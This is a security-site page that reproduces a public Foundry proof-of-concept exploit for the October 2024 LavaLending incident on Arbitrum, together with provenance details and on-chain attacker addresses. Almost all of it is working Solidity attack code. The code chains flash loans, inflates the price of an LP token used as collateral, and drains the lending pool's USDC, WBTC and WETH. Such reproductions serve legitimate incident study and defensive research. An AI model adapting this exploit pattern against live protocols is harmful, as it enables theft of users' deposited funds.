Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/LavaLending_exp.sol

Public reproduction file for dataset entry LavaLending.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/LavaLending_exp.sol450 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)
8// Attacker : https://arbiscan.io/address/0x8a0dfb61cad29168e1067f6b23553035d83fcfb2
9// Attack Contract : https://arbiscan.io/address/0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8#code
10// Vulnerable Contract : https://arbiscan.io/address/0x6700b021a8bcfae25a2493d16d7078c928c13151
11// Attack Tx : https://arbiscan.io/tx/0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216
12// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
14// Contracts involved
15address constant AlgebraPool = 0x8cc8093218bCaC8B1896A1EED4D925F6F6aB289F;
16address constant AlgebraPool2 = 0xc86Eb7B85807020b4548EE05B54bfC956eEbbfCD;
17address constant WETHUSDC_LP = 0x6700b021a8bCfAE25A2493D16d7078c928C13151;
18address constant aavePoolV3 = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;
19address constant SwapFlashLoan = 0x9Dd329F5411466d9e0C488fF72519CA9fEf0cb40;
20address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
21address constant LendingPool = 0x3Ff516B89ea72585af520B64285ECa5E4a0A8986;
22address constant AaveOracle = 0x11A8598c4430C7663fdA224C877f231895C8CA69;
23address constant aUsdceWethLP = 0x2254898d99e3BBB1D10F784e2678d59d88f70f1E;
24address constant UniswapV3Pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;
25address constant UniswapV3Router2 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
27address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
28address constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
29address constant aaveUSDC = 0x625E7708f30cA75bfd92586e17077590C60eb4cD;
30address constant cUSDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
31address constant aUSDC = 0x56EA05C0C3b665F67538909343Fb3Becb4fE5714;
32address constant aWBTC = 0x5E166A3A9ebCAfE9CF62cC2BD2Cf41a109dE18Af;
33address constant wbtc = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;
34address constant aWETH = 0x7cB47F4F634fa0f8165de2fE3528471BD127533A;
35address constant aUSDCe = 0xe879A4B54396Aebb3416bc72A1Ab1D360C2CAFf6;
37contract LavaLending_exp is Test {
38 address attacker = makeAddr("attacker");
40 function setUp() public {
41 vm.createSelectFork("arbitrum", 259_645_908 - 1);
43 vm.label(attacker, "attacker");
44 vm.label(AlgebraPool, "AlgebraPool");
45 vm.label(WETHUSDC_LP, "WETHUSDC_LP");
46 vm.label(aavePoolV3, "aavePoolV3");
47 vm.label(usdc, "usdc");
48 vm.label(weth, "weth");
49 vm.label(aaveUSDC, "aaveUSDC");
50 vm.label(cUSDC, "cUSDC");
51 }
53 function testPoC() public {
54 vm.startPrank(attacker);
55 AttackerC attackerC = new AttackerC();
56 vm.label(address(attackerC), "attackerC");
58 attackerC.attack();
60 console.log("Final balance in usdc :", IERC20(usdc).balanceOf(attacker));
61 console.log("Final balance in cUSDC:", IERC20(cUSDC).balanceOf(attacker));
62 console.log("Final balance in wbtc :", IERC20(wbtc).balanceOf(attacker));
63 console.log("Final balance in weth :", IERC20(weth).balanceOf(attacker));
64 }
67contract AttackerC {
68 address attacker;
70 function attack() external {
71 attacker = msg.sender;
73 uint256 AlgebraPool_USDC_bal = IERC20(usdc).balanceOf(AlgebraPool); // L1
74 // IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L3
75 // IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L6
77 IFS(AlgebraPool).flash( // L9
78 address(this), // recipient
79 0, // amount0
80 AlgebraPool_USDC_bal, // amount1
81 hex"000000000000000000000000000000000000000000000000000002653038614a"
82 );
84 IERC20(usdc).transfer( // L1096
85 msg.sender,
86 IERC20(usdc).balanceOf(address(this)) // L1094
87 );
88 IERC20(cUSDC).transfer( // L1101
89 msg.sender,
90 IERC20(cUSDC).balanceOf(address(this)) // L1099
91 );
92 IERC20(wbtc).transfer( // L1104
93 msg.sender,
94 IERC20(wbtc).balanceOf(address(this)) // L1107
95 );
96 IERC20(weth).transfer( // L1111
97 msg.sender,
98 IERC20(weth).balanceOf(address(this)) // L1113
99 );
100 }
102 // 1 flashloan with AlgebraPool
103 function algebraFlashCallback(uint256, uint256 fee1, bytes calldata data) external {
104 // L16
105 uint256 usdc_bal = IERC20(usdc).balanceOf(aaveUSDC); // L17
107 address[] memory assets = new address[](3);
108 assets[0] = weth;
109 assets[1] = cUSDC;
110 assets[2] = usdc;
111 uint256[] memory amounts = new uint256[](3);
112 amounts[0] = 1_500_000_000_000_000_000_000;
113 amounts[1] = 8_000_000_000_000;
114 amounts[2] = usdc_bal - 2_000_000_000;
116 IFS(aavePoolV3).flashLoan( // L19
117 address(this), // receiverAddress
118 assets, // assets
119 amounts, // amounts
120 new uint256[](3), // interestRateModes
121 address(this), // onBehalfOf
122 "", // params
123 0 // referralCode
124 );
126 IERC20(usdc).transfer(AlgebraPool, 2_633_887_316_134); // L1083
127 }
129 // 2 flashloan with aavePoolV3
130 function executeOperation(
131 address[] calldata assets,
132 uint256[] calldata amounts,
133 uint256[] calldata premiums,
134 address initiator,
135 bytes calldata params
136 ) external returns (bool) {
137 // L51
138 uint256 usdc_bal = IERC20(usdc).balanceOf(SwapFlashLoan); // L52
140 IFS(SwapFlashLoan).flashLoan( // L54
141 address(this), // receiver
142 usdc, // token
143 10_000_000, // amount
144 "" // params
145 );
147 IERC20(usdc).approve(aavePoolV3, type(uint256).max); // L1024
148 IERC20(weth).approve(aavePoolV3, type(uint256).max); // L1027
149 IERC20(cUSDC).approve(aavePoolV3, type(uint256).max); // L1030
151 return true;
152 }
154 // 3 flashloan with SwapFlashLoan
155 function executeOperation(
156 address pool,
157 address token,
158 uint256 amount,
159 uint256 fee,
160 bytes calldata params
161 ) external {
162 // L61
163 uint256 usdc_bal = IERC20(usdc).balanceOf(balancerVault); // L62
165 address[] memory tokens = new address[](1);
166 tokens[0] = usdc;
167 uint256[] memory amounts = new uint256[](1);
168 amounts[0] = usdc_bal;
170 IFS(balancerVault).flashLoan( // L64
171 address(this), tokens, amounts, "");
173 IERC20(usdc).transfer(SwapFlashLoan, amount + fee); // L1018
174 }
176 // 4 flashloan with balancerVault
177 function receiveFlashLoan(
178 address[] memory tokens,
179 uint256[] memory amounts,
180 uint256[] memory feeAmounts,
181 bytes memory userData
182 ) external {
183 // L71
184 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this)); // L72
186 IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L74
187 IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L77
189 uint256 usdc_bal2 = IERC20(usdc).balanceOf(address(this)); // L80
190 uint256 weth_bal = IERC20(weth).balanceOf(address(this)); // L82
192 IFS(WETHUSDC_LP).deposit( // L84
193 1_403_852_271_412_498_423_040, // startKey
194 3_588_180_725_760, // assetType
195 0, // vaultId
196 0 // quantizedAmount
197 );
199 IERC20(WETHUSDC_LP).approve(LendingPool, type(uint256).max); // L167
200 uint256 WETHUSDC_LPBal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L171
202 IFS(LendingPool).deposit( // L174
203 WETHUSDC_LP, // asset
204 WETHUSDC_LPBal, // amount
205 address(this), // onBehalfOf
206 0 // referralCode
207 );
209 IFS(LendingPool).getUserAccountData(address(this)); // L210
211 IFS(AaveOracle).getAssetPrice(usdc); // L242
213 AttackerC2 attackerC2 = new AttackerC2(); // L248
215 IERC20(cUSDC).transfer(address(attackerC2), 6_492_300_768_118); // L249
217 attackerC2.attack(); // L252
219 uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(aUsdceWethLP); // L370
221 IFS(LendingPool).withdraw( // L373
222 WETHUSDC_LP, WETHUSDC_LP_bal, address(this));
224 uint256 usdc_bal3 = IERC20(usdc).balanceOf(address(this)); // L408
225 uint256 weth_bal2 = IERC20(weth).balanceOf(address(this)); // L410
227 IFS(WETHUSDC_LP).compound(); // L412
229 IFS(WETHUSDC_LP).withdraw(WETHUSDC_LPBal); // L428
231 IFS(WETHUSDC_LP).deposit( // L451
232 2_246_163_634_259_997_476, // startKey
233 5_741_089_161, // assetType
234 0, // vaultId
235 0 // quantizedAmount
236 );
238 IERC20(usdc).approve(UniswapV3Pool, type(uint256).max); // L487
239 IERC20(weth).approve(UniswapV3Pool, type(uint256).max); // L490
241 uint256 weth_bal3 = IERC20(weth).balanceOf(address(this)); // L493
243 IFS(UniswapV3Pool).swap( // L495
244 address(this), true, int256(weth_bal3), 3_485_594_667_521_387_551_771_586, "");
246 IFS(UniswapV3Pool).flash( // L508
247 address(this), // recipient
248 1_000_000_000_000_000_000, // amount0
249 0, // amount1
250 ""
251 );
253 uint256 WETHUSDC_LP_bal2 = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L525
255 IFS(WETHUSDC_LP).withdraw(WETHUSDC_LP_bal2); // L528
257 IFS(UniswapV3Pool).swap( // L589
258 address(this),
259 false,
260 int256(881_716_015_644),
261 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000,
262 ""
263 );
265 uint256 balcUSDC = IERC20(cUSDC).balanceOf(aUSDC); // L602
266 IFS(LendingPool).borrow( // L604
267 cUSDC, balcUSDC, 2, 0, address(this));
269 uint256 balwbtc = IERC20(wbtc).balanceOf(aWBTC); // L671
270 IFS(LendingPool).borrow( // L674
271 wbtc, balwbtc, 2, 0, address(this));
273 uint256 balweth = IERC20(weth).balanceOf(aWETH); // L764
274 IFS(LendingPool).borrow( // L766
275 weth, balweth, 2, 0, address(this));
277 uint256 balusdc = IERC20(usdc).balanceOf(aUSDCe); // L861
278 IFS(LendingPool).borrow( // L863
279 usdc, balusdc, 2, 0, address(this));
281 uint256 balwethThis = IERC20(weth).balanceOf(address(this)); // L970
283 IERC20(cUSDC).approve(UniswapV3Router2, type(uint256).max); // L972
285 IFS.ExactOutputSingleParams memory params = IFS.ExactOutputSingleParams(
286 cUSDC,
287 weth,
288 500,
289 address(this),
290 1_755_639_896_171_187_086,
291 type(uint256).max,
292 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000
293 );
295 IFS(UniswapV3Router2).exactOutputSingle(params); // L975
297 uint256 balusdc2 = IERC20(usdc).balanceOf(address(this)); // L989
299 IFS(AlgebraPool2).swap( // L991
300 address(this), // recipient
301 true, // zeroToOne
302 int256(-4_402_600_766), // amountRequired
303 4_295_129_000, // limitSqrtPrice
304 "" // data
305 );
307 IERC20(usdc).transfer(balancerVault, 1_255_587_859_253); // L1012
308 }
310 uint256 n;
312 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
313 if (n == 0) {
314 IERC20(weth).transfer(UniswapV3Pool, uint256(amount0Delta)); // L502
315 }
316 if (n == 1) {
317 IERC20(usdc).transfer(UniswapV3Pool, uint256(amount1Delta)); // L596
318 }
320 n++;
321 }
323 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
324 // L516
325 IERC20(weth).transfer(UniswapV3Pool, 1_300_000_000_000_000_000); // L517
326 }
328 function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
329 // L1001
330 IERC20(cUSDC).transfer(AlgebraPool2, uint256(amount0Delta)); // L1002
331 }
334contract AttackerC2 {
335 function attack() external {
336 IERC20(cUSDC).approve(LendingPool, type(uint256).max); // L253
338 uint256 usdc_bal = IERC20(cUSDC).balanceOf(address(this)); // L256
340 IFS(LendingPool).deposit( // L258
341 cUSDC, // asset
342 usdc_bal, // amount
343 address(this), // onBehalfOf
344 0 // referralCode
345 );
347 IFS(LendingPool).borrow( // L296
348 WETHUSDC_LP, // asset
349 430_623_991_193_131_340, // amount
350 2, // interestRateMode
351 0, // referralCode
352 address(this) // onBehalfOf
353 );
355 uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L363
357 IERC20(WETHUSDC_LP).transfer(msg.sender, WETHUSDC_LP_bal); // L366
358 }
361interface IFS is IERC20 {
362 // AlgebraPool
363 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
365 // aavePoolV3
366 function flashLoan(
367 address receiverAddress,
368 address[] calldata assets,
369 uint256[] calldata amounts,
370 uint256[] calldata interestRateModes,
371 address onBehalfOf,
372 bytes calldata params,
373 uint16 referralCode
374 ) external;
376 // SwapFlashLoan
377 function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
379 // balancerVault
380 function flashLoan(
381 address recipient,
382 address[] memory tokens,
383 uint256[] memory amounts,
384 bytes memory userData
385 ) external;
387 // WETH-USDC LP
388 function deposit(uint256 startKey, uint256 assetType, uint256 vaultId, uint256 quantizedAmount) external payable;
390 function compound() external;
392 function withdraw(
393 uint256
394 ) external;
396 // LendingPool
397 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
399 function getUserAccountData(
400 address user
401 )
402 external
403 returns (
404 uint256 totalCollateralETH,
405 uint256 totalDebtETH,
406 uint256 availableBorrowsETH,
407 uint256 currentLiquidationThreshold,
408 uint256 ltv,
409 uint256 healthFactor
410 );
412 function borrow(
413 address asset,
414 uint256 amount,
415 uint256 interestRateMode,
416 uint16 referralCode,
417 address onBehalfOf
418 ) external;
420 function withdraw(address asset, uint256 amount, address to) external returns (uint256);
422 // AaveOracle
423 function getAssetPrice(
424 address asset
425 ) external view returns (uint256);
427 // UniswapV3Pool
428 function swap(
429 address recipient,
430 bool zeroForOne,
431 int256 amountSpecified,
432 uint160 sqrtPriceLimitX96,
433 bytes calldata data
434 ) external returns (int256 amount0, int256 amount1);
436 // UniswapV3Router2
437 struct ExactOutputSingleParams {
438 address tokenIn;
439 address tokenOut;
440 uint24 fee;
441 address recipient;
442 uint256 amountOut;
443 uint256 amountInMaximum;
444 uint160 sqrtPriceLimitX96;
445 }
447 function exactOutputSingle(
448 ExactOutputSingleParams calldata params
449 ) external payable returns (uint256 amountIn);

Analysis

Dataset entry

Public Foundry test for “LavaLending” (2024-10-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8a0dfb61cad29168e1067f6b23553035d83fcfb2

  • Attack Contract

    0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8

  • Vulnerable Contract

    0x6700b021a8bcfae25a2493d16d7078c928c13151

  • Attack Tx

    0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216

File record

Name
LavaLending
Path
src/test/2024-10/LavaLending_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2b04a96751dd65117b6fcf0090b68845afee4c40
Language
Solidity
Size
451 lines
Date
2024-10-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/LavaLending_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2b04a96751dd65117b6fcf0090b68845afee4c40, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.